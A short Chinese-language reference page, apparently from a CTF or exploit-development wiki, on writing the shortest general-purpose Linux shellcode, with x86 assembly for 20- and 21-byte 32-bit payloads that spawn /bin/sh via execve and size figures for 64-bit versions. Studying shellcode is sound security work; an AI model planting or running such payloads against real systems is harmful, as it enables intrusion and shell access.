Linux_ShellCode
在寄存器都是非理想值情况下(shellcode可根据环境具体触发时寄存器的值做长度调整),我本着最优通用的原则,整理了Linux下32位和64位最短通用shellcode的编写
32位
有"\x00"最短 20 byte
shellcode= '''
xor ecx,ecx
mul ecx
mov al,0xb
push 0x68732f
push 0x6e69622f
mov ebx,esp
int 0x80
'''
shellcode=asm(shellcode)无"\x00"最短 21 byte
xor ecx,ecx
mul ecx
push eax
mov al,0xb
push 0x68732f2f
push 0x6e69622f
mov ebx,esp
int 0x80标准shellcode 23 byte
64位
最短有"\x00" 22 byte
最短无"\x00" 23 byte
标准shellcode 31 byte
Last updated
Was this helpful?